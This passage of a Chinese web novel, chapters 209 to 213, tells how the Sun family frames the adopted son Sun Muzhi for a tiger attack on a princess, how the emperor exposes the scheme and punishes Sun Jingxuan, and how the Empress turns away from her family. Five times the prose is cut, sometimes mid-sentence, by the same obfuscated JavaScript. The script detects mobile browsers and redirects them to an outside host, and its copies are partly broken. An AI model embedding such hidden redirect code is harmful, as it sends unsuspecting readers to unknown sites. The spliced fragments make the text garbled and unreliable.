陆知苒不容置疑,“先去洗漱包扎一番,把伤处料理好,把肚子填饱再来回禀。” 事情的结果如何已成定局,早一点知道和晚一点知道没有差别,不急于这一时。 霜华却是微微愣住,眼底闪过一抹异色,心头亦升起一丝暖意。 她不再多说,转身去了。 小半个时辰,她收拾妥当,言简意赅地向陆知苒汇报了猎场的最新动向。 “那位救人的公子是孙家三少爷孙牧之,奴婢和一众护卫赶回去时,那头猛虎已经倒地身亡,他也倒在血泊中,腰腹处受了重伤。不过她在昏迷前给自己包扎了伤处,是以还有一口气在。大夫说,若换个人,早就咽气了。” 第209章 替罪羔羊 孙家三少爷? 陆知苒对孙家不大熟悉,一时也没法将此人对上号。 “奴婢原本还想到猎场附近转转,追根溯源这两头老虎是怎么出现的,却被孙家人阻拦了,是以奴婢没有发现其他有用线索。” 陆知苒没有责怪之意。 “你已经做得很好了。” 孙家人若是心里有鬼,自然是不会让她去查的。 不过,孙家人能阻拦霜华,却阻拦不了皇上的人。 就算什么都查不到,孙家也有疏忽大意之过,难逃责任。 但陆知苒还是低估了人性的恶毒。 翌日,国舅爷孙成海就带着孙景轩入宫请罪,不仅如此,他们还带去了此案的罪魁祸首。 孙成海跪地请罪,“皇上,此次狩猎,是犬子疏忽大意,没做好十足的防范,害得公主遇到猛虎袭击,他难辞其咎,罪该万死!微臣彻查此事,发现此事乃人为,而真正的罪魁祸首,正是孙家三房之子,孙牧之。” “此子生有怪力,自幼便性情暴戾,残暴好斗,以往,仗着他天生神力便多次入深山射杀猛兽。此次公主遇袭,盖因他鲁莽行事,主动招惹猛虎而起。而今他被猛虎重伤,也是自食恶果,微臣将他带来,任由皇上处置!” 德丰帝的目光落在那躺在担架上,面色惨白,生死不知之人身上,脸色晦暗不明。 孙成海见德丰帝久久没有开口,心中亦染上一丝忐忑。 他出声呵斥孙景轩,“你这个逆子,还愣着做什么,还不快向皇上请罪!” 孙景轩重重叩首,声音都染上颤抖。 “是草民疏忽大意,没有看顾好公主,亦没有约束好堂弟,这才酿成此番大祸,草民罪该万死!” 德丰帝想到在夕颜殿听到的那番话,周身便萦绕上一股森然冷意。 此事,当真是这孙牧之所为? 还是这孙景轩贼喊捉贼? 哪怕他尚未查证此事,但心中已然种下了一颗怀疑的种子,再看孙景轩,就怎么看怎么不顺眼。 “你的确难辞其咎。宝珠现在还昏迷不醒,你便在这里跪着为她祈福吧。若宝珠有个三长两短,朕定不轻饶!” 撂下这话,德丰帝甩袖而去。 孙成海和孙景轩父子便这么跪在大殿中,孙牧之依旧躺在担架上,无人搭理。 父子二人互相对视一眼,彼此心中都升起强烈不安。 孙景轩手心都是冷汗,他没料到,萧宝珠会受那么严重的伤。 若她当真出了意外,只怕孙牧之这个替罪羔羊,还不足以平息皇上心头的怒火,便是皇后姑母对他们也会离了心。 不知跪了多久,终于有人来传话。 “孙大人,孙公子,皇上请二位前去御书房觐见。” 二人的双腿早就跪得发麻,强撑着起身,往御书房而去。 到了御书房,父子二人再次跪下,德丰帝亦没有要叫起之意。 德丰帝坐在龙椅上,开口的语气听不出喜怒。 “你们说,此次猛虎行凶,盖因孙家三房之子,孙牧之而起?” 孙成海连连点头,“皇上您或许有所不知,此子虽名义上是三房之子,但其实并非孙家血脉,而是微臣那三弟妹在外捡回来的,只因微臣三弟早逝,后继无人,这才将这孩子记在三房名下。” “此子自幼便品行不端,难以教化,这才闯下此番弥天大祸,微臣身为孙家家主,未曾尽到教化之责,实在难辞其咎,今日愿代他受过,请皇上责罚!” 孙成海言辞恳切,一副愧悔难当的模样。 德丰帝看向孙景轩,“事发之时你在猎场,你来说说,是否确实如此?” 孙景轩低着头,恭敬回话,“回皇上,的确是他逞凶斗勇,招来猛虎。侍卫们也能作证,公主遇袭之时他也在场。” 德丰帝眸色又冷了几分,“朕怎么听说,此事盖因蒋家那小子射杀了幼虎所致?” 孙景轩神色一顿,手心也不自觉冒出冷汗。 “他是为了保护公主,这才不得已射杀了幼虎,他被猛虎袭击,还断了一臂。” 孙成海也赶紧道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162065|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此事归根结底,皆因孙牧之把猛虎引进了猎场,他才是真正的罪魁祸首。” 德丰帝大手一拍,怒喝出声,“简直一派胡言!” 孙成海和孙景轩身子一震,脸色也惨白几分。 “那蒋泽霖惹下祸端,到了你们嘴里竟成了功臣。孙牧之以一己之力救下宝珠和寒衣,却被你们当成替罪羔羊,你们当真以为朕老眼昏花,能任由你们欺瞒?” 就在方才,德丰帝的心腹带回了最新的消息,事实真相,俨然与先前叶寒衣所言一般无二! 这些狗胆包天的东西,竟敢算计宝珠,事后还推出一个不算孙家人的孙家人顶罪,以逃脱罪责。 他们敢如此欺君,真是长了熊心豹子胆了! 感受到德丰帝的雷霆之怒,孙家父子身子都不禁开始打摆子。 他们当然知道这样有风险,但以往皇上对孙家素来宽和,他们不免心存侥幸,觉得这次也能蒙混过关。 而且,孙牧之此前的确恶名在外,这桩罪名扣在他的头上,再合适不过。 他也不是孙家真正的血脉,牺牲了他,孙家也没有什么损失。 他们唯一料错的,是皇上会这么快查到真相。 欺君之罪,可不是他们承担得起的。 他们连忙砰砰磕头,“皇上明鉴,微臣断然不敢欺瞒皇上……想来,这其中还有什么误会。此事景轩亦未曾亲眼所见,一切都是侍卫所诉,想来是那些侍卫有意误导……” 皇上既然已经查到了这件事,他们再想让孙牧之背锅,那就是公然愚弄皇上,下场只会更加凄惨。 孙景轩也吓得六神无主,完全忘了该如何反应。 孙成海暗暗捅了他一记,他才如梦初醒,磕磕绊绊地开口。 “是,是,定是那些侍卫胡说,草民才有了误会,草民并非有意欺瞒皇上,请皇上恕罪。” 德丰帝看着他们父子,眸中满是冷意。 “这么说,你们听信侍卫的一面之词,不曾查证过,就禀到朕跟前来?这就是你们请罪的态度?” 第210章 孙家人的真面目 他们二人连连磕头求饶,孙成海磕得分外卖力,几乎是涕泗横流,悔恨交加。 “微臣罪该万死,定好生彻查猎场上下,查出纵虎行凶的真凶。” 德丰帝目光锐利地扫向孙景轩,“你呢?可有什么话可说?” 孙景轩浑身一震,一股寒意从脚底往上蹿。 皇上这番态度是何意?他是知道了什么吗? 不可能! 他很谨慎,此事只有他和蒋泽霖知晓,便是身边人也不知内情。 蒋泽霖现在还在昏迷,就算他醒了,也定然不可能说出实情。 大家死守着秘密,还能从轻处置,一旦松口,谁都落不到好。 孙景轩低着头,颤声道:“此次公主遇险,乃草民疏忽大意,没有看顾好公主之过,草民难辞其咎,愿意领受任何责罚!” 德丰帝深深地看着他,孙景轩感受到那股来自头顶上方的沉沉压迫,心中忐忑到了极致。 “既然你愿意领受任何责罚,那就拖出去,重打五十大板!” 孙成海和孙景轩如遭雷击。 五十大板,这,这分明就是要人命啊! 这一瞬间,孙景轩心中最后那丝侥幸也没了,他可以肯定,皇上已然知道了真相。 他就是要自己为萧宝珠偿命! 孙成海痛哭流涕,连声为孙景轩求饶。 德丰帝目光冰冷如刀,“他自己做了些什么,自己心里清楚,五十板子,是他该受的。若能侥幸捡回一条命,便是老天爷不收他,此前种种,朕便就此揭过!” 孙景轩被拖下去,摁在了长凳上,很快啪啪的板子声和他一声声的哀嚎声便传来。 德丰帝嫌弃地直皱眉,当初那赵书宁挨了三十板子,都没有哼一声,他一个堂堂七尺男儿,刚挨了几板子就哭爹喊娘,当真是半点男儿气概都没有。 孙皇后闻讯赶来,便见到了血肉模糊,哀嚎不止的孙景轩。 她眼前一阵眩晕,险些晕过去。 孙景轩痛苦地抬头,看向孙皇后,“姑母,是我没有照顾好宝珠,我错了,我好疼,姑母,救救我……” 说完,他便两眼一翻,直接晕了过去。 孙皇后的呼吸也随之凝滞了一瞬。 曾经,她的孩儿也这般虚弱又可怜地望着她,对她说好疼。 最后,他的手垂了下去,眼睛也彻底地阖上,再没有睁开过。 两幅画面彻底重合,孙皇后最不愿触碰的回忆乍然侵袭而来,她什么也顾不上,一把扑了上去。 “住手!别打了!轩儿,你怎么样了?快,快传太医!” 行刑之人见此,不敢再动手,只能求助地看向德丰帝。 因过于激动,孙皇后呼吸急促,整个人快要厥过去。 德丰帝见了,眸中不禁多了几分幽深。 “皇后,你的身子要紧,为了那么个人,不值得。” 孙皇后祈求地看着德丰帝,“皇上,臣妾知道您是因为宝珠受伤而动怒,景轩他的确有疏忽,但罪不至死啊。” 德丰帝闻言,面上神色便冷了几分。 “在皇后心里,宝珠的性命,还没有他孙景轩的重要?” 孙皇后慌忙摇头,“自然不是,宝珠出事,臣妾也很难过,但这一切都只是一个意外罢了……” 德丰帝冷冷打断她,“若不是意外呢?你可知他对宝珠都做了些什么?” 孙成海被这话惊得面色大变。 孙皇后先是一怔,旋即满脸骇然,“皇上,您这话是何意?” 她心中升起一个不大好的猜测,但她很快就把那猜测压了下去。 不可能,景轩不是这样的人。 而且,他也没理由这么做。 德丰帝看着孙皇后,他们是少年夫妻,二人一路互相扶持,经历了很多风雨,他无比敬重这个发妻。 二人的皇长子夭折,皇后险些没挺过来,之后身子便大不如前,正是因为,德丰帝对她越发包容。 即便她这些年在对待宝珠和孙家的态度越发偏僻,德丰帝也一直不曾对她说过一句重话。 但现在,德丰帝不想再让她继续执迷不悟,她一直把孙家看得比宝珠更重,殊不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162066|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知,孙家与她早就离了心。 德丰帝看着她,语气沉缓,“你一直有意撮合宝珠与孙景轩,那你可知,这桩婚事不仅宝珠不愿意,孙景轩也不愿意?” 孙皇后不信,“怎会?大嫂明明说,景轩对宝珠十分中意,景轩自己在我面前也从未表露过不情愿之意。” 德丰帝冷笑,“那是因为他们不欲得罪你,让你对孙家生出龃龉。孙景轩是孙家长房唯一的嫡子,他娶了宝珠,就注定不能任朝中要职,孙家岂会甘心?” 孙皇后一怔。 她失了嫡子,便心如止水,再没了继续争的念头。 她一直以为,孙家的想法与自己一样。 而今夺嫡局势不明朗,孙家的确没必要掺和进去,只需要低调安分地过自己的日子即可。 母亲和大嫂都说,轩儿并无太大的野心抱负,日后只不要做个败家的纨绔即可。 正是因此,她才对孙景轩分外满意。 却原来,他们其实另有打算? 既如此,为何不与她直说? 他们若当真不愿意,自己难道还会强求? 孙皇后看向跪在地上的孙成海,对方低垂着头,没有与她对视,也没有开口,心中似是明白了什么,顿时心冷如冰。 孙皇后还沉浸在自己的思绪中,德丰帝冰冷的声音再次传来。 “他对宝珠无意,却怕惹你不快,不敢主动开口,反而动些歪心思,欲毁宝珠名节,好顺理成章地推了这门亲事!他如此心术不正,难道不该乱棍打死?” 那幼虎是他们提前准备,本意是让那蒋泽霖在萧宝珠面前上演英雄救美。 他们还为萧宝珠准备好了陷阱,届时蒋泽霖与萧宝珠一同落入陷阱之中,二人在荒郊野岭共处大半日,萧宝珠的名声有瑕,自然就只能嫁给蒋泽霖,孙景轩反倒成了受害者。 只是他们的计划遇到了两个意外,一个是突然出现的叶寒衣,另一个,便是来寻找幼虎的母老虎。 他们自以为做得天衣无缝,但须知,若有人不知,除非己莫为。 第211章 萧宝珠苏醒 德丰帝是皇上,他想要查,岂会有查不到的道理? 起先,孙成海父子带着孙牧之入宫请罪,德丰帝还尚未收到暗卫传回的消息,他对孙家人也只是迁怒,这才让他们在殿内跪了大半日。 而后,暗卫把真相禀报于他,德丰帝胸中的怒火瞬间被点燃了,这才有了御书房的那一番问责。 德丰帝的话叫孙皇后如遭雷击,孙成海更是瞬间石化当场。 事情真相竟是如此?景轩竟然瞒着他,做下如此糊涂之事! 皇上早就知晓了真相,只是隐而不发,静静地看他们表演罢了。 这一刻,他仿佛看到了孙家的死期。 孙皇后呼吸急促几分,“不,怎么可能?轩儿怎会做出这样的事?” “皇后是觉得朕冤枉了他们?皇后若是不信,朕便命人把蒋泽霖传召进宫,与他当面对质。” 孙皇后张了张嘴,说不出话来。 这个打击于她而言实在太大了,她呼吸急促,几乎喘不过气来。 皇上见此,心中并非没有怜惜,但他却不曾开口宽慰安抚。 是时候让她清醒清醒了。 孙家是她的娘家没错,但跟娘家相比,宝珠才应该是她最珍视之人,她不应该再被蒙蔽。 孙成海的身子早已抖成了筛糠,他回过神来,砰砰砰地连连磕头。 “皇上,景轩也是一时糊涂才会犯下此番大错,微臣愿意自请罢官免职,只求皇上能高抬贵手,留景轩一条性命吧!” “一时糊涂?若他当真是一时糊涂,就该第一时间向朕坦白!方才朕可不止一次给你们机会,可你们却一再把朕当傻子!” 孙成海悔恨交加。 他转而求向孙皇后,“皇后娘娘,求求您,为景轩说句话吧,他这次的确犯了糊涂,他已经知道错了,他罪不至死啊!自小您就最疼他,您忍心看他殒命吗?” 孙皇后闭上眼睛,心口似被什么狠狠剜了一下,剧痛无比。 曾经,她的确十分偏爱孙景轩。 因为他与她的皇儿长得十分肖似,皇儿死后,孙家常把他送到宫中陪伴,慢慢的,她才走出了丧子之痛。 这份感情与寄托,是不一样的。 她对他,甚至比对待萧宝珠更加疼爱。 而今,这份疼爱却变成了赤裸裸的背叛,叫她如何不心痛? 孙皇后怒声咆哮,“兄长也知我最疼他,可他这么做,对得起我的疼爱吗?” “他只是一时糊涂……” “他是奔着谋害宝珠名节去的,他但凡有半点良心,就不会这么做。” 孙皇后的心彻底凉透了。 对孙景轩,对孙家,她都彻底失望。 对萧宝珠,她则是升起了一股深深的愧疚与自责。 若非她对宝珠诸多忽视,旁人又怎会如此不把她放在眼里? 是她这个做母亲的太失职了。 孙成海抬起手,“啪啪”地往自己脸上扇耳光。 “是微臣没有教好景轩,微臣愿意以死谢罪!” 说完,他便站起身,直直地往柱子上撞。 瞬间,鲜血喷涌而出,他整个人也软倒在地。 “皇后,求求你,看,看在母亲的份儿上,替,替景轩,求求情吧……” 说完这话,他两眼一翻,直接晕死过去。 接连受到刺激,孙皇后的身子再难以支撑,整个人也晕了过去,宫人顿时忙乱作一团,赶紧把皇后扶回坤宁宫。 就在这时,宫人匆忙赶来,欢喜地高喊。 “皇上,公主醒了,公主醒了!太医说,是那方子起了效果,公主能醒,就不会再有性命之忧了!” 德丰帝原本焦急的面色闪过一抹欣喜,抬步就要往长乐宫而去。 大太监冯有才开口提醒,“皇上,国舅爷和孙公子,该如何处置?” 德丰帝瞥了他们一眼,眸底冷意乍现。 “孙成海,降职三等,闭门思过半年。至于,孙景轩,他方才也挨了二十多板子,就姑且饶他一回吧,若宝珠再有个好歹,朕再找他算账。” “皇上宽厚仁慈,实乃他们之幸。” 德丰帝冷哼一声,“朕也是看在皇后的面子上。” 孙家毕竟是皇后的娘家,他若当真把孙景轩打**,孙皇后心里定然也会难以释怀。 用一顿板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15167464|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,换来孙皇后认清孙家人的秉性,也算是一桩好事。 更主要的,宝珠醒了,脱离了性命之忧,若不然,他定不会这般轻易揭过。 萧宝珠醒了,只是依旧虚弱,脸色一片苍白。 德丰帝来时,她刚用了一点小米粥,稍稍恢复了几分精神气。 “父皇……” 德丰帝一把握住她的手,眼眶都不禁有些湿润起来。 “好孩子,你终于醒了!” “是儿臣让父皇担忧了。” “说什么傻话,醒了就好,你身上可还有哪里不舒服?” 萧宝珠嘴上说没事,但人却很虚弱,只来得及问起陆知苒和叶寒衣的情况,就又沉沉睡了过去。 从长乐宫离开,德丰帝心头的巨石放下,整个人都轻松许多。 这时他才想起了孙牧之来。 得知真相之后,他就第一时间命人把其抬去诊治了,倒是没来得及过问。 “那孙牧之如何了?” 冯有才忙道:“太医来禀,冯三公子腰腹处的伤最是严重,但他服用了虎胆,此乃最佳的疗伤圣品,加上其体魄强健,只要好生调养,便没有性命之忧。” 德丰帝的脚步微顿,眸底闪过一抹难掩的诧异。 “虎胆?” 冯有才点头,“正是,太医的诊断结果确为如此。” 德丰帝的眸中闪过一抹欣赏。 这个孙牧之倒是有些意思,不仅勇猛无双,猎杀了猛虎,便是受了如此重伤还能强撑着取出虎胆服下,此番坚韧的心性,着实不一般。 与孙家人这些软骨头不同。 也是,他只是孙家养子,并非孙家真正的血脉。 “此子有勇有谋,倒是难得。待他伤好了,便到朕的御前任侍卫统领吧。他搭救公主有功,亦该重赏,冯有才,此事你去办。” 冯有才连忙应下。 正这时,又有人前来回禀,“皇上,孙家三房的夫人敲响了登闻鼓,替三公子击鼓鸣冤。” 登闻鼓在刑部外,专为身有冤屈之人所设。 但这可不是什么人都敢敲的,因为凡是敲响此鼓之人,都要先受十大板子。 第212章 还想结这门亲事 短暂愣怔之后,德丰帝很快就反应过来是怎么一回事。 孙三夫人这是在为孙牧之鸣冤。 孙牧之只是她的养子,但她为了对方却敢去击登闻鼓,这位三夫人亦是有情有义之人。 德丰帝立马吩咐冯有才去处理,万不能误伤了人,冯有才不敢耽搁,赶忙去了。 德丰帝又派人把萧宝珠苏醒的消息告知了柔妃,还给她送来了不少赏赐,毕竟多亏了她拿出的方子,才让萧宝珠脱险。 柔妃和叶寒衣都松了口气。 叶寒衣又不免好奇,“姑母,您自小就不习武,也没有受伤的机会,谁会给您送那方子?” 她的确根本用不上那方子,可那人却说,那是他身上最值钱的东西,非要塞给她。 谁能想到,今日,这方子真的有了用武之地? 见她迟迟没有开口,叶寒衣满脸八卦,“姑母,那人是谁呀?” 柔妃伸手戳她脑门,“就你话多。” 叶寒衣没能从柔妃的口中打听到有用的八卦,心中虽然遗憾,也见好就收,没有再追问。 陆知苒收到柔妃送来的消息,得知萧宝珠脱险了,她也松了口气。 孙家的情况也十分精彩。 孙家父子入宫请罪前就派人散播流言,将萧宝珠遇猛虎袭击之事扣在了孙牧之的头上。 孙三夫人甄氏敲响了登闻鼓,为其子喊冤,在受刑时,皇上跟前的大太监冯有才亲自赶去阻拦,当众澄清事情真相。 却原来,孙牧之非但没有过错,反而是此事的大功臣,是他全力救下了九公主。 孙景轩乃此次主谋,却将孙牧之推出去当替罪羔羊。 皇上英明神武,识破其阴谋,孙成海父子二人被从宫里抬出来,一个额上带伤,出气多进气少,一个被打得屁股开花,只剩半条命。 一道贬斥的圣旨和流水的赏赐同时送到了孙家。 贬斥的圣旨是给孙家大房的,国舅爷孙成海被连降三级,闭门思过半年。 流水的赏赐则全是三房的,如此悬殊的对比,俨然叫百姓们看足了好戏。 孙老夫人入宫求见孙皇后,孙皇后见了,但却再没了以往的亲近与热络。 孙老夫人叹息,“皇后,此事是景轩做得不妥,但他已经受了惩罚,也已经认识到自己的错处。我亲自去问了他,他是愿意娶宝珠的,先前,他只是还尚未意识到自己的心意罢了。” 孙皇后面色淡淡的,“母亲这话,是还想结这门亲事?” 孙老夫人觑着她的神色,试探性地道:“我们孙家是宝珠的外家,宝珠嫁到孙家,知根知底,定是不会受半点委屈的。” 孙皇后嘲讽一笑,“不必了,宝珠嫁到孙家,反倒妨碍了景轩的好前程。” 孙老夫人有些急,“你这是还记恨景轩?他亲口说了,他已经知道错了,也保证定会善待宝珠的。至于所谓前程,孙家也不需要他去挣。” 孙皇后直视着自己的母亲,语气冷冰,“以往是你们不愿娶,现在,却是我不愿让她嫁。宝珠并非嫁不出去,不是非孙家不可。” 孙老夫人听出她话语里的冷意,心头一紧。 “我们是一家人,宝珠嫁到别家,和嫁到孙家哪里能一样?” 孙皇后彻底冷了脸。 的确不一样,她嫁到别家,别人至少会忌惮她的公主身份,不敢刁难她。 但在孙家,他们只会仗着表亲的关系打压她。 原本她对孙家人抱有美好的幻想,但一夕之间,一切都破灭了。 “母亲觉得,经历了这些事,皇上还会同意宝珠嫁入孙家?” “你是皇后,皇上最是敬重你,只要你开口……” 孙皇后打断她,“那母亲又凭什么觉得,我还会把自己女儿推入火坑?我累了,母亲且回吧,以后若无事便不要入宫来了。” 孙老夫人脸色几番变化,想再说些什么,但已有嬷嬷上前客气却不容置疑地送客,“老夫人请吧。” 她深知此事再无回旋的可能,只能把到嘴的所有话都咽了回去。 以往这个女儿最是好拿捏,她对宝珠也并未有多上心,孙老夫人以为这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15167465|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次她只是气头上,自己低个头劝说一番,她的心就会重新回到孙家来。 谁料,一切却超出了掌控。 孙家闹出这么大的丑事,又与孙皇后离了心,以后要想再翻身,只怕就难了。 孙老夫人一走,孙皇后就抚着心口,好半晌都没缓过来。 心腹吴嬷嬷见了,越发心疼。 “娘娘,您凡事看开些,莫要把自己身体气坏了。” 孙皇后苦笑,“这一切都是我该受的。” 顿了顿,又问,“宝珠如何了?” 吴嬷嬷忙道:“公主的身子恢复得极好,过不了多久就能痊愈了。这次,多亏了柔妃娘娘。” 孙皇后眸色深了几分,缓缓点头。 她吩咐人往柔妃的夕颜殿送去了谢礼,又往长乐宫送去不少滋补之物,吴嬷嬷劝她,“娘娘既然担心公主,不妨亲自去看看吧。” 孙皇后摇头,“不了,我还病着,别把病气过给了她。” 更何况,她也不一定想看到自己。 孙老夫人与孙皇后的这番对话尽数传到了德丰帝的耳中,他面上没有异色,心情显见好了不少。 总算孙皇后没有再继续犯糊涂。 若她再执迷不悟,偏袒孙家,那德丰帝对她就彻底失望了。 萧宝珠在床上躺了几日,身体日渐好起来。 柔妃的方子功效了得,简直出人意料。 又过了几日,她竟可以自如地下床走动了。 反倒是叶寒衣,身上受的是外伤,被柔妃压着不能下地。 叶寒衣闷得简直想抠脚,柔妃便把陆知苒请进了宫作陪,萧宝珠听说了,当即让宫人把她抬到夕颜殿。 三人碰头了,养伤的两人这才重新活了起来。 提起孙景轩和蒋泽霖的龌龊勾当,萧宝珠就觉得恶心。 “快别提他们了,不然我怕是要把隔夜饭都吐出来了。” 几人很快便转移了话题,转而说起了孙牧之。 “宝珠你定然认得他吧?” 萧宝珠点头,“认得,我幼时去孙家的时候见过他。” 第213章 明明是小哭包 叶寒衣好奇,“听说他天生神力,性情暴戾,还凶狠好斗,这是真是假?” 萧宝珠气得腮帮子都鼓了起来,“胡说八道,他天生力气大没错,但分明是个小哭包,哪里就性情暴戾,凶狠好斗了?” 陆知苒和叶寒衣耳朵立马竖了起来。 她们听到了什么?小哭包? 能以一己之力打死一头老虎的人,竟然是小哭包? 尤其是亲眼看到他与猛虎搏斗的场景的叶寒衣,实在没法将两者联系在一起。 “他小时候竟然是小哭包?” 多说点,她们爱听。 对上二人十分八卦的目光,萧宝珠有些无语,但还是开了口。 “他不是孙家真正的孩子,是我三舅母在外头捡回来的,这事孙家上下都知道,孙家的小辈们也知道,孙牧之在孙家自然备受欺负。” “我小时候常去孙家,每次都能遇到他被其他堂兄弟欺负,他除了躲起来哭,半点都不敢反抗,简直窝囊**,跟凶狠暴戾半点都不沾边!” 萧宝珠现在想起来,还觉得有点恨铁不成钢。 他明明长得比其他堂兄弟高一个头不止,但被欺负了半点都不敢还手。 那次,她还瞧见二房那个孙浩然要往他的头上撒尿,简直欺人太甚。 她把那厮打跑了,本想去找外祖父外祖母告状,孙牧之却拦住了她,一副受气包的委屈模样。 “算了,他也没真的尿到我头上,就不要惊动祖父祖母了。” 萧宝珠听了这话就生气,拎着他的耳朵狠狠数落了一通。 陆知苒和叶寒衣听罢,心中都很是诧异,没想到孙牧之在孙家过的是这样的日子。 但转念一想,又有些明白了。 “他定然是知道自己的身份,不敢惹事,怕给三夫人添麻烦,也怕被孙家赶出去。” 只有没安全感的孩子,才会如此小心翼翼地委曲求全。 萧宝珠点头,“没错,他的确是这么想的,所以才一再忍让。可是那些坏坯子,你越是忍对方就越是过分,单单我看到的,都一次比一次过分。与其一再忍着,还不如发疯一回,让大家都不要好过。” 反正她的性子,是忍不了一点。 “后来呢?孙牧之有没有反抗?” 萧宝珠摇头,“后来我开始跟兄长们一起念书,就没那么多时间去孙家了,也不知道他究竟如何。我也不是活菩萨,我该说的都说了,他自己愿意挨打,我也管不了那么多。” 萧宝珠身边热热闹闹的,不缺玩伴,她很快就把此事抛到脑后去了。 之后去孙家,她就没怎么见过孙牧之,听说他去了武备学堂,开始习武。 偶尔见到,也是一大家子齐聚一堂之时,他安安静静地站在人群中,毫不起眼,萧宝珠也未曾多留意。 她对他的印象,还停留在需要自己站出来保护的小哭包上。 那日在林子里,他如同神兵天降,从猛虎的掌下将自己救下,萧宝珠惊魂未定,差点没认出对方来。 叶寒衣中肯地评价,“他的武没有白学。下次见了他,我定要与他好生切磋一番。” 萧宝珠吐槽,“整天就想着打打杀杀,你就该投生为男儿身。” 叶寒衣也一脸遗憾,“可不。我若是男儿,定然早就到战场上建功立业了。” 萧宝珠理解不了她的抱负,像自己这样整日吃吃喝喝玩玩乐乐不好吗? 想起吃,萧宝珠便不禁舔了舔唇。 最近吃得实在寡淡,她嘴巴都要淡出鸟来了。 她开始报菜名,陆知苒无奈一笑,“还是先把伤养好了再说吧。” “吃不着,我念叨念叨都不行吗?” 叶寒衣又开始八卦,“你的婚事……” 萧宝珠哼了一声,“我已经向父皇求了恩典,我的驸马,由我自己来挑。不管嫁给谁,反正不会嫁给孙景轩那**子。” 她这次九死一生,捡回一条命,父皇正是对她怜惜愧疚的时候,她趁势提了这个要求,父皇果然答应了。 二人听了这话,便放心几分。 总算没有白白吃这番苦头。 萧宝珠和叶寒衣在宫中养伤,陆知苒便隔三差五地入宫相伴, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15175729|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔妃的夕颜殿变得前所未有的热闹。 柔妃喜欢调香,以往她总是自己调,叶寒衣不擅此道,萧宝珠对此也全无兴趣,只有陆知苒对香料有所研究。 一开始柔妃还以为她是故意迎合自己,后来才确认,她的确懂香,能耐得下性子来调配,对柔妃研究的新方子,她也总能一针见血地点评,每每总能说到柔妃的心坎上,她越看这个儿媳妇越是满意。 萧宝珠和叶寒衣的伤势也慢慢好了起来。 若非柔妃不许,叶寒衣都想到院子里耍一套剑了。 柔妃看着聚在一处嬉戏玩闹的几个女孩,眉眼间满是温柔。 同时,又不免想到萧晏辞,心底生出丝丝惆怅。 “不知道阿辞现在在何处,何时才能回来。” 听了她这话,陆知苒和叶寒衣也不由生出担忧。 尤其是陆知苒,她比任何人都清楚西平的局势不太平,只盼他能保护好自己。 日子过得很快,转眼便到了五月二十,今日是安王与邢初雪的婚期。 经过这大半个月的休养,萧宝珠已经活蹦乱跳了,叶寒衣用的也是最好的外伤药,加上柔妃时刻盯着她不让她乱动,她也恢复得差不多了。 今日柔妃本不欲放她出宫参宴,但她可怜巴巴地央求,柔妃就心软地松口了。 “我虽答应你了,但你也不能胡来,要时刻注意自己身上的伤,若敢让自己的伤口绷了,看我不收拾你。” 叶寒衣连连点头应是,转个背就溜了。 柔妃看着她的背影,眼底既有无奈,也有羡慕。 曾经,她也这般无忧无虑。 但成长,不过一夕之间罢了。 现在寒衣既然能这么快乐,那就随她去吧,只盼着她这辈子,都能一直这般快乐。 叶寒衣和萧宝珠一起出了宫,她们与陆知苒在宫外碰头,便去了邢家,给邢初雪添妆。 今日的邢家宾客盈门,十分热闹。 